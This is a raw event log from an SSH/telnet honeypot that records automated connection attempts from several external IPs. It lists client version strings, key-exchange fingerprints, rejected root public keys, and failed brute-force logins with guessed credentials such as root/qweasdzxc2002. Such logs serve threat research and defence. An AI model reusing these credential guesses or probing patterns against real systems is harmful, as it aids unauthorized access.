{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:33:41.621983Z","src_ip":"31.57.216.33","session":"bcec67ed896a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.42.125.86","src_port":2346,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bacc0752abc","protocol":"telnet","message":"New connection: 185.42.125.86:2346 (10.17.0.5:23) [session: 1bacc0752abc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:34:37.137034Z"}
{"eventid":"cowrie.session.closed","duration":11.86063528060913,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:34:48.997544Z","src_ip":"185.42.125.86","session":"1bacc0752abc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":35778,"dst_ip":"10.17.0.5","dst_port":22,"session":"aedc31b963e8","protocol":"ssh","message":"New connection: 103.15.226.202:35778 (10.17.0.5:22) [session: aedc31b963e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:35:58.530533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:35:58.535112Z","src_ip":"103.15.226.202","session":"aedc31b963e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:35:58.782100Z","src_ip":"103.15.226.202","session":"aedc31b963e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dell","password":"dell@123","message":"login attempt [dell/dell@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:35:59.535840Z","src_ip":"103.15.226.202","session":"aedc31b963e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:36:00.786529Z","src_ip":"103.15.226.202","session":"aedc31b963e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.183.192","src_port":60342,"dst_ip":"10.17.0.5","dst_port":23,"session":"f811af4befe1","protocol":"telnet","message":"New connection: 103.153.183.192:60342 (10.17.0.5:23) [session: f811af4befe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:36:07.908925Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.193","src_port":30366,"dst_ip":"10.17.0.5","dst_port":22,"session":"17da9e818fb3","protocol":"ssh","message":"New connection: 94.26.106.193:30366 (10.17.0.5:22) [session: 17da9e818fb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:36:22.451898Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:36:22.456288Z","src_ip":"94.26.106.193","session":"17da9e818fb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.193","src_port":30370,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9253101f5cd","protocol":"ssh","message":"New connection: 94.26.106.193:30370 (10.17.0.5:22) [session: d9253101f5cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:36:22.585007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:36:22.589614Z","src_ip":"94.26.106.193","session":"d9253101f5cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:36:22.673673Z","src_ip":"94.26.106.193","session":"d9253101f5cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweasdzxc2002","message":"login attempt [root/qweasdzxc2002] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:36:22.844015Z","src_ip":"94.26.106.193","session":"d9253101f5cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:36:23.930500Z","src_ip":"94.26.106.193","session":"d9253101f5cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.98.236.136","src_port":52036,"dst_ip":"10.17.0.5","dst_port":22,"session":"aee9ec3b6006","protocol":"ssh","message":"New connection: 91.98.236.136:52036 (10.17.0.5:22) [session: aee9ec3b6006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:36:24.439609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:36:24.444376Z","src_ip":"91.98.236.136","session":"aee9ec3b6006","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:36:24.535954Z","src_ip":"91.98.236.136","session":"aee9ec3b6006","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:7a:3d:e0:d2:95:b6:ae:8d:aa:e0:b5:09:43:cb:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCx/SBuZWY3V+B2rsAcf8i+H0F19lkT/1GzKJvRC+C7jONPIiYbZqghJRkvcPFJ8zHX4rS0PAn8GIQOQVzLtP5G+wFntB1ErFkFYMT8MCna2NDVUkNPsUzlatOLahLlSPiOBuxeVNWXLllUTQ+P7bXRnyoGjKFF5ezdpwy9B1ACTEIpxVBroamHC5Xg8N0TsnSF9xRMJmIzMg1sdZ/hD0xtrfX2HQPrFixm8Sy4oFDISZ4gRVNWhT9nddWEtQXLC0ASdW/yoVRLBouqNVc9iJvE7UX8mwiITLg6pOibE+7O3wDOQI+2eUqu9QvmTqRm8vKwOMQUgkeOwqlk4q2eyjaN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:7a:3d:e0:d2:95:b6:ae:8d:aa:e0:b5:09:43:cb:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:36:24.966071Z","src_ip":"91.98.236.136","session":"aee9ec3b6006","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:7a:3d:e0:d2:95:b6:ae:8d:aa:e0:b5:09:43:cb:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCx/SBuZWY3V+B2rsAcf8i+H0F19lkT/1GzKJvRC+C7jONPIiYbZqghJRkvcPFJ8zHX4rS0PAn8GIQOQVzLtP5G+wFntB1ErFkFYMT8MCna2NDVUkNPsUzlatOLahLlSPiOBuxeVNWXLllUTQ+P7bXRnyoGjKFF5ezdpwy9B1ACTEIpxVBroamHC5Xg8N0TsnSF9xRMJmIzMg1sdZ/hD0xtrfX2HQPrFixm8Sy4oFDISZ4gRVNWhT9nddWEtQXLC0ASdW/yoVRLBouqNVc9iJvE7UX8mwiITLg6pOibE+7O3wDOQI+2eUqu9QvmTqRm8vKwOMQUgkeOwqlk4q2eyjaN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:36:24.969651Z","src_ip":"91.98.236.136","session":"aee9ec3b6006","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:f7:3d:37:55:c0:1b:d8:34:be:6f:f3:f3:21:55:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDfYNwKkGiRvpEUKPEC9u6yez19gCa96tKVoNTFRyB5oqpeC05KKY63JYJpPdzt1BK6MDDeATgJLqC/PcUoLgPGk6DmXYDJOdsJKZfxeBqdUEwsi9qQ/R8k8oMJ75yBducarEomxYnp+P8x1HhMTjGksKWHgi/OKFEPfEmrO7/tOdJcwYbmK9GKrzLHRNbySIcb2zfqGQgdvYAonE+8yfwBRsP4fBqN0gg8KEAv3FTMwYLb8aptoBfM9etXTfbSLcy6DNe4CDu/BVDhX837D2EUCHUL+Db7c09b62y/rqp4E3cGvsD8Gyy+e/uAfjQV1O0Cbkm3yf1T+LmOTN6ZBg4FShPpnhxZw3gawwZOtGzM3rrEUpkSTwzTwIOu8ouvO48MGG1lMjzOrHNWKHmup1s75s/ZdJF54PQ16/HqbKKANqTVM2/APS6gKZo1rE3nzZIS4o/Zq1SOpT3H8rrZEmNkYPK9mw+4aX+xs0T8SIFuAEy57p98SbVgy0pgSkoAApU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:f7:3d:37:55:c0:1b:d8:34:be:6f:f3:f3:21:55:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:36:25.060922Z","src_ip":"91.98.236.136","session":"aee9ec3b6006","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:f7:3d:37:55:c0:1b:d8:34:be:6f:f3:f3:21:55:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDfYNwKkGiRvpEUKPEC9u6yez19gCa96tKVoNTFRyB5oqpeC05KKY63JYJpPdzt1BK6MDDeATgJLqC/PcUoLgPGk6DmXYDJOdsJKZfxeBqdUEwsi9qQ/R8k8oMJ75yBducarEomxYnp+P8x1HhMTjGksKWHgi/OKFEPfEmrO7/tOdJcwYbmK9GKrzLHRNbySIcb2zfqGQgdvYAonE+8yfwBRsP4fBqN0gg8KEAv3FTMwYLb8aptoBfM9etXTfbSLcy6DNe4CDu/BVDhX837D2EUCHUL+Db7c09b62y/rqp4E3cGvsD8Gyy+e/uAfjQV1O0Cbkm3yf1T+LmOTN6ZBg4FShPpnhxZw3gawwZOtGzM3rrEUpkSTwzTwIOu8ouvO48MGG1lMjzOrHNWKHmup1s75s/ZdJF54PQ16/HqbKKANqTVM2/APS6gKZo1rE3nzZIS4o/Zq1SOpT3H8rrZEmNkYPK9mw+4aX+xs0T8SIFuAEy57p98SbVgy0pgSkoAApU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:36:25.064879Z","src_ip":"91.98.236.136","session":"aee9ec3b6006","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:41:c9:d9:9b:36:e6:ef:aa:65:03:44:4d:b1:fd:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAdWJBKwGqIyODc5R5nStbYDR8U6YAn/4EP7QBVexr+k8VPSXWxxa0WLTHyvnk9jG0ZUZ2i6nQV50JYJH3BKkyWII5ENqv3ywrbljL85Yz4lpNmPPn4Mc5feBwnfoKbRBWhcPH6r66aBdFbhPVR6LbwUQ8uRcmE+XakAqZx1nipacyPw3pw+Js2jBT2kEPjqivpuSN1kAKX0dPSjZ1/b1eBklzcj9Bj/IvA6GI0Yq6Pce/x1d5qFalOXtcBF0PW0ZttGzBd5B4XCCINUPRMui07x98Ztwrg6X2ZsLCC8p+2sv85MpUyD65MsCHVKegMjRoCwiaceTyUeqbkE4SSjeH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:41:c9:d9:9b:36:e6:ef:aa:65:03:44:4d:b1:fd:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:36:25.155809Z","src_ip":"91.98.236.136","session":"aee9ec3b6006","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:41:c9:d9:9b:36:e6:ef:aa:65:03:44:4d:b1:fd:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAdWJBKwGqIyODc5R5nStbYDR8U6YAn/4EP7QBVexr+k8VPSXWxxa0WLTHyvnk9jG0ZUZ2i6nQV50JYJH3BKkyWII5ENqv3ywrbljL85Yz4lpNmPPn4Mc5feBwnfoKbRBWhcPH6r66aBdFbhPVR6LbwUQ8uRcmE+XakAqZx1nipacyPw3pw+Js2jBT2kEPjqivpuSN1kAKX0dPSjZ1/b1eBklzcj9Bj/IvA6GI0Yq6Pce/x1d5qFalOXtcBF0PW0ZttGzBd5B4XCCINUPRMui07x98Ztwrg6X2ZsLCC8p+2sv85MpUyD65MsCHVKegMjRoCwiaceTyUeqbkE4SSjeH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:36:25.159306Z","src_ip":"91.98.236.136","session":"aee9ec3b6006","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:d9:f2:fe:b2:ed:c8:e7:65:7b:73:12:c1:e7:62:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDsQ8ePduTyJwz5ZTe2V7gwFemG38hcsXH/UxvCX9qdpCGaWgnf0J/E3fLxV9kBNBAWvPMhW++iIl0Pb5UO+e1udZprrpOp4NaC56JO9V4Q/N9sgfo7P2x9DyBV7xnMTj0dkltNFBWom8jYPMsKzFw7F8+CDOz2YrbH7w8i1FG5M7OXoBONlj9938GpRe2c2SbaX+Dv1BV8cozkBInyNKUWEHXaFY7X9ypbnEQpjBmmiu32KWrbUwqLlwh1D8Zp6Mk9Ll6hZja1w1clJzQE+AN5yONXZ3+2lJhgOmskqKXnt6qnj5g8AxSL07LBIXXp8quM+C77N0WshsMHqS0XY5/OC4rwn9gz6Ry+2thq0EBU8XtrN+miGsCIVoUpItXcgKsEYh8opFAj87x1J2qNbgkcLulWdtCFG49fu685Nk+VE4LkTwM4V/77fqrEj/Gy5JaTM1whbh1rWUUSIOV1F8etWCMwscyZHQUL2JRSW+TaF8ASfD7zBhCaUIdtjgfuveE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:d9:f2:fe:b2:ed:c8:e7:65:7b:73:12:c1:e7:62:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:36:25.252292Z","src_ip":"91.98.236.136","session":"aee9ec3b6006","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:d9:f2:fe:b2:ed:c8:e7:65:7b:73:12:c1:e7:62:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDsQ8ePduTyJwz5ZTe2V7gwFemG38hcsXH/UxvCX9qdpCGaWgnf0J/E3fLxV9kBNBAWvPMhW++iIl0Pb5UO+e1udZprrpOp4NaC56JO9V4Q/N9sgfo7P2x9DyBV7xnMTj0dkltNFBWom8jYPMsKzFw7F8+CDOz2YrbH7w8i1FG5M7OXoBONlj9938GpRe2c2SbaX+Dv1BV8cozkBInyNKUWEHXaFY7X9ypbnEQpjBmmiu32KWrbUwqLlwh1D8Zp6Mk9Ll6hZja1w1clJzQE+AN5yONXZ3+2lJhgOmskqKXnt6qnj5g8AxSL07LBIXXp8quM+C77N0WshsMHqS0XY5/OC4rwn9gz6Ry+2thq0EBU8XtrN+miGsCIVoUpItXcgKsEYh8opFAj87x1J2qNbgkcLulWdtCFG49fu685Nk+VE4LkTwM4V/77fqrEj/Gy5JaTM1whbh1rWUUSIOV1F8etWCMwscyZHQUL2JRSW+TaF8ASfD7zBhCaUIdtjgfuveE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:36:25.258747Z","src_ip":"91.98.236.136","session":"aee9ec3b6006","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:30:c5:17:62:9f:11:c6:e0:ce:f3:a4:d0:43:27:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCb6kBQtMb35XEWMABtRW8kq3Qr6BNhH0+J8U7hkW6M7P3Cyns7ZsqB5Jem2WLYbYurObuYh+PyIDNd4XtKZhwbdC5RumtYXaIzmH6ZBakdXIN+5Xthejn0g2DBWMOospvAz620pWxZjEDDLV+3ge0zhjeCUQwIqBfEiCVnrBLQr6Wo9d06HCR6kfQE1fOBT4Ze4AWVkBiAboH6mOh0A20CRBAz/kn1fsKlXA/mbLmfah8tbXbhl+xllAl6Kty1vFvhyIiUxGp5eERdk5gRChPLu2YprajlWJrbb2y5qnV5reXg7kAjZd3A5+LW/R1kTltzKfX6CWR/vJb9Vk8TI4v3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:30:c5:17:62:9f:11:c6:e0:ce:f3:a4:d0:43:27:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:36:25.352343Z","src_ip":"91.98.236.136","session":"aee9ec3b6006","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:30:c5:17:62:9f:11:c6:e0:ce:f3:a4:d0:43:27:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCb6kBQtMb35XEWMABtRW8kq3Qr6BNhH0+J8U7hkW6M7P3Cyns7ZsqB5Jem2WLYbYurObuYh+PyIDNd4XtKZhwbdC5RumtYXaIzmH6ZBakdXIN+5Xthejn0g2DBWMOospvAz620pWxZjEDDLV+3ge0zhjeCUQwIqBfEiCVnrBLQr6Wo9d06HCR6kfQE1fOBT4Ze4AWVkBiAboH6mOh0A20CRBAz/kn1fsKlXA/mbLmfah8tbXbhl+xllAl6Kty1vFvhyIiUxGp5eERdk5gRChPLu2YprajlWJrbb2y5qnV5reXg7kAjZd3A5+LW/R1kTltzKfX6CWR/vJb9Vk8TI4v3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:36:25.356183Z","src_ip":"91.98.236.136","session":"aee9ec3b6006","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:36:25.448083Z","src_ip":"91.98.236.136","session":"aee9ec3b6006","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.7227623462677,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:36:39.631559Z","src_ip":"103.153.183.192","session":"f811af4befe1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":49496,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb8184951e00","protocol":"ssh","message":"New connection: 103.15.226.202:49496 (10.17.0.5:22) [session: eb8184951e00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:39:33.160788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:39:33.165805Z","src_ip":"103.15.226.202","session":"eb8184951e00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T21:39:33.411851Z","src_ip":"103.15.226.202","session":"eb8184951e00","protocol":"ssh"}
